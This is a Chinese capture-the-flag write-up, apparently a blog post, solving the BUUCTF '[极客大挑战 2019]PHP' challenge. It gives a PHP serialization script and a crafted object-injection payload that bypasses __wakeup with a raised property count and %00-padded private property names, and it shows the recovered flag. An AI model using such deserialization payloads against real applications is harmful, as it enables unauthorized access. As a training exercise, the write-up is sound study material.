[极客大挑战 2019]PHP

buuctf——[极客大挑战 2019]PHP

1.信息收集获取源代码/www.zip
在这里插入图片描述
2.放在phpstudy进行调试,直接输入任意select的值index是没有回显的,直接代码审计
通过index.php可以看到我们输入的参数select的值通过反序列化传入到了class.php

在这里插入图片描述
3.通过class.php我们可以知道, u s e r n a m e 和 username和 usernamepassword是两个私有属性,无法直接修改,依据题意只有使用魔术函数__construct()的方法触发修改用户名和密码
在这里插入图片描述

4.理清题意后直接构造exp

<?php

class Name{
    private $username = 'admin';
    private $password = '100';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$Name = new Name('admin','100');
$payload = serialize($Name);
var_dump($payload);
?>

在这里插入图片描述
5.通过php访问获取到payload
http://127.0.0.1/eazyun/payload.php
在这里插入图片描述
6.因为题目中有__wakeup方法,需要通过改变属性值来绕过
通过将2的值变成3绕过sleep函数

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

在这里插入图片描述
7.因为username和password是私有属性所以需要使用%00进行绕过
因为name是私有属性,故需要加%00进行绕过

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
在这里插入图片描述
8.最终构造出exp,成功获取flag
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
在这里插入图片描述
flag{e78d7aed-4e99-446b-9f23-273c92a9bb6f}
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值